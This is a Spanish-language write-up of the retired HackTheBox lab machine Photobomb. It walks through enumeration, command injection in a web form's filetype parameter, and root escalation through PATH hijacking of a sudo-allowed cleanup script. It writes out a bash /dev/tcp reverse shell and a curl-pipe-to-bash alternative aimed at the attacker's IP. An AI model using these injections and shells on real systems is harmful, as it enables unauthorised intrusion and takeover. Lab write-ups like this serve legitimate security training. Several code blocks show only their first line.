Photobomb
Descripción
- Nivel: Fácil.
- Temas a tratar: Enumeracion, command injection, path hijacking.
- OS: Linux.
- Plataforma: HackTheBox.
- Fecha de retiro: 11/02/2023.
- IP atacante: 10.10.14.6
- IP victima: 10.10.11.182
Enumeración
Empezamos enumerando los puertos bajo el protocolo TCP abiertos con nmap.
1 | sudo nmap -p- -sS 10.10.11.182 -Pn -n --min-rate 6000 -vvv -oG allports |
En mi caso por alguna extraña razón HackTheBox me da problemas utilizando un min-rate de 5000, así que opto por utilizarlo en 6000 para evitar este problema
Puertos encontrados:22: Referente a una conexión ssh80: Referente a un sitio web
Una vez teniendo los puertos realicemos otro análisis pero para estos puertos en especifico.
Podríamos también realizar un análisis a los puertos utilizados bajo el protocolo UDP pero adelanto que al descubrir 2 que nos pueden llegar a ser de utilidad optamos por no realizarlo
1 | sudo nmap -p22,80 -sV -sC 10.10.11.182 -vvv -oN ports |
Muy bien, en el puerto 22 no logro notar algo interesante o una versión que nos permita enumerar usuarios, así que optemos por visitar el sitio web que se encuentra en el puerto 80, podemos ver que escaneo de nmap redirecciona al sitio photobomb.htb así que para poder tener acceso agreguemos esta dirección dentro del /etc/hosts10.10.11.182 photobomb.htb
Una vez agregada, accedamos a ella por medio del navegador:
A simple vista pues podemos ver que hay un link existente, y si entramos a el nos muestra una pestaña de login…
De momento no tenemos algún usuario o contraseña para realizar una fuerza bruta. Así que ahora empecemos a explorar el código fuente de sitio a ver si encontramos en algún comentario algún usuario y contraseña.
Y encontramos algo interesante en el head de la pagina photobomb.js veamos su contenido.
1 | function init() { |
pH0t0:b0Mb!pH0t0:b0Mb!… Bingo!!
Usuario:Contraseña.
Probemos con estas credenciales a ver si tenemos acceso, si no lo tenemos pues intentemos realizando fuerza bruta con Hydra (spoiler, no se requiere).
Y bueno ahora tenemos acceso al sitio, veamos como se comporta este sitio, y bueno solo nos descarga las imágenes con el formato que elegimos y la resolución que pidamos. Probemos con exiftool para ver que información obtenemos de una de estas imágenes:
1 | exiftool wolfgang-hasselmann-RLEgmd1O7gs-unsplash_1000x1500.png |
Vemos algo relacionado con Little CMS pero la versión no se encuentra alguna vulnerabilidad así que descartamos esto.
Probando Command Injection
Probemos utilizando burpsuite capturando la petición a ver si esto es vulnerable a un command injection.
1 | POST /printer |
Bueno podemos encontrar que hay 3 campos que podemos manipular, probando con cada uno de ellos encontramos utilizando el formato básico de ;sleep 5 pero haciéndole un url encode ;sleep+5 (esperando a que el sitio se tarde mas de 5 segundos en regresarnos la petición) notamos que el que reacciona con esto es el parámetro filetype, ya que se tardo un total de 8,034 milisegundos en regresar la petición.
Si alguno de estos no llegara a funcionar modificaría alguno otro de la siguiente lista, hasta corroborar que ninguno de estos funciona Command Injection Payload List
Este command injection desgraciadamente no nos da un output, pero probemos ejecutar enviar una traza ICMP (Internet Control Message Protocol) o en otras palabras realizar un ping de la maquina victima hacia nosotros (nuestra IP es la 10.10.14.6):
Recordar que nosotros tenemos que esperar una traza ICMP con la herramienta tcpdump por el puerto de red tun0 que es el puerto que nos otorga la VPN de HackTheBox
Maquina atacante (nosotros)
1 | sudo tcpdump -i tun0 icmp |
Burpsuite
1 | POST /printer |
Resultado
1 | 19:03:35.557689 IP photobomb.htb > 10.10.14.6: ICMP echo request, id 5, seq 1, length 64 |
Shell
Bueno tenemos la traza, así que ahora enviémonos una reverse shell, aquí hay varias maneras de realizar esto, podemos generar un archivo .sh dentro de nuestra maquina y con curl generar una ejecución (curl IP/revshell.sh | bash), o la clásica y la que voy a usar es inyectarlo desde la misma petición solamente realizando un url-encode para que la pueda ejecutar:
Comando a utilizar
1 | bash -c 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1' |
En mi caso voy a utilizar el puerto 9001.
Petición final en Burpsuite
1 | POST /printer |
Ahora nos colocamos a la escucha con netcat por el puerto utilizado (9001).
1 | nc -lvnp 9001 |
Enviamos la petición con burpsuite y esperemos a ver si recibimos la shell.
1 | nc -lvnp 9001 |
Bueno ahora vamos a ajustar la shell a una mas interactiva, para evitar problemas en un futuro.
Recomiendo checar el siguiente video por si tienen alguna duda del por que realizar esto.0XDF–What Happens In a “Shell Upgrade”?
1 | wizard@photobomb:~/photobomb$ which python3 |
Ahora podemos ir a home y podremos encontrar la user flag:
1 | wizard@photobomb:~/photobomb$ cd |
Es mejor buscar si existen mas usuarios dentro del /etc/passwd pero el usuario wizard es el único, me brinque esa parte pero puedes corroborar cuantos usuarios tienen /home
Escalada de privilegios
Ya con acceso a la maquina vamos a buscar la manera de escalar privilegios dentro de la maquina. Lo primero que siempre hago es verificar la versión del kernel para ver si es vulnerable:
1 | wizard@photobomb:~$ uname -a |
En este caso no lo es así que ahora veamos a ver si esta algún permiso asociado al usuario que nos permita ejecutar algún comando como root.
1 | wizard@photobomb:~$ sudo -l |
Bueno ya lo encontramos, podemos ejecutar como root el archivo cleanup.sh sin necesidad de contraseña, pero hay algo mas SETENV preguntándole a ChatGPT para que nos ayude nos dice lo siguiente:
1 | Este es un permiso de sudo que permite al usuario establecer variables de entorno específicas antes de ejecutar el comando. |
Esto ya me indica que estamos frente a un posible Path Hijacking. Pero que es esto.
Path Hijacking
Es una vulnerabilidad que permite suplantar algún programa o binario desde el PATH colocándolo desde antes en la ruta de directorios en el PATH, esto nos permitiría ejecutar algún código o script como otro usuario o llegar a tener una Shell interactiva.
Sanitizar un Path Hijacking
Para evitar esta vulnerabilidad se opta por realizar llamadas de binarios de forma absoluta, en otras palabas en lugar de llamar dentro de algún script o programa el binario cat de forma relativa (en palabras simples solamente colocando el nombre del binario) utilizamos su ruta absoluta que por ejemplo puede ser /usr/bin/cat.
Obviamente hay que tomar en cuenta que hay que evitar que puedan modificar estos binarios o los directorios en los cuales se encuentran.
Explotación
Primero que nada vamos a ver si nuestra teoria es cierta viendo que contiene el script cleanup.sh
1 | wizard@photobomb:~$ cat /opt/cleanup.sh |
Y lo encontramos, la mayoría de este script esta bien menos la parte final find, así que generamos un archivo con este mismo nombre en otra ruta, en este caso utilizare la ruta /tmp pero que su contenido nos otorgue una bash interactiva (esto con el paramento -i).
1 | wizard@photobomb:~$ cd /tmp |
Ahora que tenemos todo listo realicemos el Path Hijacking, colocando la ruta /tmp desde antes que el PATH normal.
1 | wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh |








